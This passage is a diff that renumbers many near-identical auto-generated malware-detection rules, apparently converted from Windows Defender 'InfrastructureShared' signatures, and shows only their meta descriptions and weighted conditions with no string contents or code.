_InfrastructureShared_1234{ ((#a_6f_0 & 1)*17443) >=1 } -rule _InfrastructureShared_1235{ +rule _InfrastructureShared_1239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13191,7 +13255,7 @@ rule _InfrastructureShared_1235{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1236{ +rule _InfrastructureShared_1240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13201,7 +13265,7 @@ rule _InfrastructureShared_1236{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1237{ +rule _InfrastructureShared_1241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13211,7 +13275,7 @@ rule _InfrastructureShared_1237{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1238{ +rule _InfrastructureShared_1242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13221,7 +13285,7 @@ rule _InfrastructureShared_1238{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1239{ +rule _InfrastructureShared_1243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13231,7 +13295,7 @@ rule _InfrastructureShared_1239{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1240{ +rule _InfrastructureShared_1244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13241,7 +13305,7 @@ rule _InfrastructureShared_1240{ ((#a_49_0 & 1)*18211) >=1 } -rule _InfrastructureShared_1241{ +rule _InfrastructureShared_1245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13251,7 +13315,7 @@ rule _InfrastructureShared_1241{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1242{ +rule _InfrastructureShared_1246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13261,7 +13325,7 @@ rule _InfrastructureShared_1242{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1243{ +rule _InfrastructureShared_1247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13271,7 +13335,7 @@ rule _InfrastructureShared_1243{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1244{ +rule _InfrastructureShared_1248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13281,7 +13345,7 @@ rule _InfrastructureShared_1244{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1245{ +rule _InfrastructureShared_1249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13291,7 +13355,7 @@ rule _InfrastructureShared_1245{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1246{ +rule _InfrastructureShared_1250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13301,7 +13365,7 @@ rule _InfrastructureShared_1246{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1247{ +rule _InfrastructureShared_1251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13311,7 +13375,7 @@ rule _InfrastructureShared_1247{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1248{ +rule _InfrastructureShared_1252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13321,7 +13385,7 @@ rule _InfrastructureShared_1248{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1249{ +rule _InfrastructureShared_1253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13331,7 +13395,7 @@ rule _InfrastructureShared_1249{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1250{ +rule _InfrastructureShared_1254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13341,7 +13405,7 @@ rule _InfrastructureShared_1250{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1251{ +rule _InfrastructureShared_1255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13351,7 +13415,7 @@ rule _InfrastructureShared_1251{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1252{ +rule _InfrastructureShared_1256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13361,7 +13425,7 @@ rule _InfrastructureShared_1252{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1253{ +rule _InfrastructureShared_1257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13371,7 +13435,7 @@ rule _InfrastructureShared_1253{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1254{ +rule _InfrastructureShared_1258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13381,7 +13445,7 @@ rule _InfrastructureShared_1254{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1255{ +rule _InfrastructureShared_1259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13391,7 +13455,7 @@ rule _InfrastructureShared_1255{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1256{ +rule _InfrastructureShared_1260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13401,7 +13465,7 @@ rule _InfrastructureShared_1256{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1257{ +rule _InfrastructureShared_1261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13411,7 +13475,7 @@ rule _InfrastructureShared_1257{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1258{ +rule _InfrastructureShared_1262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13421,7 +13485,7 @@ rule _InfrastructureShared_1258{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1259{ +rule _InfrastructureShared_1263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13431,7 +13495,7 @@ rule _InfrastructureShared_1259{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1260{ +rule _InfrastructureShared_1264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13441,7 +13505,7 @@ rule _InfrastructureShared_1260{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1261{ +rule _InfrastructureShared_1265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13451,7 +13515,7 @@ rule _InfrastructureShared_1261{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1262{ +rule _InfrastructureShared_1266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13461,7 +13525,7 @@ rule _InfrastructureShared_1262{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1263{ +rule _InfrastructureShared_1267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13471,7 +13535,7 @@ rule _InfrastructureShared_1263{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1264{ +rule _InfrastructureShared_1268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13481,7 +13545,7 @@ rule _InfrastructureShared_1264{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1265{ +rule _InfrastructureShared_1269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13491,7 +13555,7 @@ rule _InfrastructureShared_1265{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1266{ +rule _InfrastructureShared_1270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13501,7 +13565,7 @@ rule _InfrastructureShared_1266{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1267{ +rule _InfrastructureShared_1271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13511,7 +13575,7 @@ rule _InfrastructureShared_1267{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1268{ +rule _InfrastructureShared_1272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13521,7 +13585,7 @@ rule _InfrastructureShared_1268{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1269{ +rule _InfrastructureShared_1273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13531,7 +13595,7 @@ rule _InfrastructureShared_1269{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1270{ +rule _InfrastructureShared_1274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13541,7 +13605,7 @@ rule _InfrastructureShared_1270{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1271{ +rule _InfrastructureShared_1275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13551,7 +13615,7 @@ rule _InfrastructureShared_1271{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_1272{ +rule _InfrastructureShared_1276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13561,7 +13625,7 @@ rule _InfrastructureShared_1272{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_1273{ +rule _InfrastructureShared_1277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13571,7 +13635,7 @@ rule _InfrastructureShared_1273{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_1274{ +rule _InfrastructureShared_1278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13581,7 +13645,7 @@ rule _InfrastructureShared_1274{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_1275{ +rule _InfrastructureShared_1279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13591,7 +13655,7 @@ rule _InfrastructureShared_1275{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1276{ +rule _InfrastructureShared_1280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13601,7 +13665,7 @@ rule _InfrastructureShared_1276{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1277{ +rule _InfrastructureShared_1281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13611,7 +13675,7 @@ rule _InfrastructureShared_1277{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1278{ +rule _InfrastructureShared_1282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13621,7 +13685,7 @@ rule _InfrastructureShared_1278{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1279{ +rule _InfrastructureShared_1283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13631,7 +13695,7 @@ rule _InfrastructureShared_1279{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1280{ +rule _InfrastructureShared_1284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -13641,7 +13705,7 @@ rule _InfrastructureShared_1280{ ((#a_30_0 & 1)*19747) >=1 } -rule _InfrastructureShared_1281{ +rule _InfrastructureShared_1285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -13652,7 +13716,7 @@ rule _InfrastructureShared_1281{ ((#a_77_0 & 1)*27683+(#a_70_1 & 1)*30035) >=2 } -rule _InfrastructureShared_1282{ +rule _InfrastructureShared_1286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13662,7 +13726,7 @@ rule _InfrastructureShared_1282{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1283{ +rule _InfrastructureShared_1287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13672,7 +13736,7 @@ rule _InfrastructureShared_1283{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1284{ +rule _InfrastructureShared_1288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13682,7 +13746,7 @@ rule _InfrastructureShared_1284{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1285{ +rule _InfrastructureShared_1289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13692,7 +13756,7 @@ rule _InfrastructureShared_1285{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1286{ +rule _InfrastructureShared_1290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13702,7 +13766,7 @@ rule _InfrastructureShared_1286{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1287{ +rule _InfrastructureShared_1291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13712,7 +13776,7 @@ rule _InfrastructureShared_1287{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1288{ +rule _InfrastructureShared_1292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13722,7 +13786,7 @@ rule _InfrastructureShared_1288{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1289{ +rule _InfrastructureShared_1293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13732,7 +13796,7 @@ rule _InfrastructureShared_1289{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1290{ +rule _InfrastructureShared_1294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13742,7 +13806,7 @@ rule _InfrastructureShared_1290{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1291{ +rule _InfrastructureShared_1295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13752,7 +13816,7 @@ rule _InfrastructureShared_1291{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1292{ +rule _InfrastructureShared_1296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13762,7 +13826,7 @@ rule _InfrastructureShared_1292{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1293{ +rule _InfrastructureShared_1297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13772,7 +13836,7 @@ rule _InfrastructureShared_1293{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1294{ +rule _InfrastructureShared_1298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13782,7 +13846,7 @@ rule _InfrastructureShared_1294{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1295{ +rule _InfrastructureShared_1299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13792,7 +13856,7 @@ rule _InfrastructureShared_1295{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1296{ +rule _InfrastructureShared_1300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13802,7 +13866,7 @@ rule _InfrastructureShared_1296{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1297{ +rule _InfrastructureShared_1301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13812,7 +13876,7 @@ rule _InfrastructureShared_1297{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1298{ +rule _InfrastructureShared_1302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13822,7 +13886,7 @@ rule _InfrastructureShared_1298{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1299{ +rule _InfrastructureShared_1303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13832,7 +13896,7 @@ rule _InfrastructureShared_1299{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1300{ +rule _InfrastructureShared_1304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13842,7 +13906,7 @@ rule _InfrastructureShared_1300{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1301{ +rule _InfrastructureShared_1305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13852,7 +13916,7 @@ rule _InfrastructureShared_1301{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1302{ +rule _InfrastructureShared_1306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13862,7 +13926,7 @@ rule _InfrastructureShared_1302{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1303{ +rule _InfrastructureShared_1307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13872,7 +13936,7 @@ rule _InfrastructureShared_1303{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1304{ +rule _InfrastructureShared_1308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13882,7 +13946,7 @@ rule _InfrastructureShared_1304{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1305{ +rule _InfrastructureShared_1309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13892,7 +13956,7 @@ rule _InfrastructureShared_1305{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1306{ +rule _InfrastructureShared_1310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13902,7 +13966,7 @@ rule _InfrastructureShared_1306{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1307{ +rule _InfrastructureShared_1311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13912,7 +13976,7 @@ rule _InfrastructureShared_1307{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1308{ +rule _InfrastructureShared_1312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13922,7 +13986,7 @@ rule _InfrastructureShared_1308{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1309{ +rule _InfrastructureShared_1313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13932,7 +13996,7 @@ rule _InfrastructureShared_1309{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1310{ +rule _InfrastructureShared_1314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13942,7 +14006,7 @@ rule _InfrastructureShared_1310{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1311{ +rule _InfrastructureShared_1315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13952,7 +14016,7 @@ rule _InfrastructureShared_1311{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1312{ +rule _InfrastructureShared_1316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13962,7 +14026,7 @@ rule _InfrastructureShared_1312{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1313{ +rule _InfrastructureShared_1317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13972,7 +14036,7 @@ rule _InfrastructureShared_1313{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1314{ +rule _InfrastructureShared_1318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13982,7 +14046,7 @@ rule _InfrastructureShared_1314{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1315{ +rule _InfrastructureShared_1319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -13992,7 +14056,7 @@ rule _InfrastructureShared_1315{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1316{ +rule _InfrastructureShared_1320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14002,7 +14066,7 @@ rule _InfrastructureShared_1316{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1317{ +rule _InfrastructureShared_1321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14012,7 +14076,7 @@ rule _InfrastructureShared_1317{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1318{ +rule _InfrastructureShared_1322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14022,7 +14086,7 @@ rule _InfrastructureShared_1318{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1319{ +rule _InfrastructureShared_1323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14032,7 +14096,7 @@ rule _InfrastructureShared_1319{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1320{ +rule _InfrastructureShared_1324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14042,7 +14106,7 @@ rule _InfrastructureShared_1320{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1321{ +rule _InfrastructureShared_1325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14052,7 +14116,7 @@ rule _InfrastructureShared_1321{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1322{ +rule _InfrastructureShared_1326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14062,7 +14126,7 @@ rule _InfrastructureShared_1322{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1323{ +rule _InfrastructureShared_1327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14072,7 +14136,7 @@ rule _InfrastructureShared_1323{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1324{ +rule _InfrastructureShared_1328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14082,7 +14146,7 @@ rule _InfrastructureShared_1324{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1325{ +rule _InfrastructureShared_1329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14092,7 +14156,7 @@ rule _InfrastructureShared_1325{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1326{ +rule _InfrastructureShared_1330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14102,7 +14166,7 @@ rule _InfrastructureShared_1326{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1327{ +rule _InfrastructureShared_1331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14112,7 +14176,7 @@ rule _InfrastructureShared_1327{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1328{ +rule _InfrastructureShared_1332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14122,7 +14186,7 @@ rule _InfrastructureShared_1328{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1329{ +rule _InfrastructureShared_1333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14132,7 +14196,7 @@ rule _InfrastructureShared_1329{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1330{ +rule _InfrastructureShared_1334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14142,7 +14206,7 @@ rule _InfrastructureShared_1330{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1331{ +rule _InfrastructureShared_1335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14152,7 +14216,7 @@ rule _InfrastructureShared_1331{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1332{ +rule _InfrastructureShared_1336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14162,7 +14226,7 @@ rule _InfrastructureShared_1332{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1333{ +rule _InfrastructureShared_1337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14172,7 +14236,7 @@ rule _InfrastructureShared_1333{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1334{ +rule _InfrastructureShared_1338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14182,7 +14246,7 @@ rule _InfrastructureShared_1334{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1335{ +rule _InfrastructureShared_1339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14192,7 +14256,7 @@ rule _InfrastructureShared_1335{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1336{ +rule _InfrastructureShared_1340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14202,7 +14266,7 @@ rule _InfrastructureShared_1336{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1337{ +rule _InfrastructureShared_1341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14212,7 +14276,7 @@ rule _InfrastructureShared_1337{ ((#a_54_0 & 1)*18467) >=1 } -rule 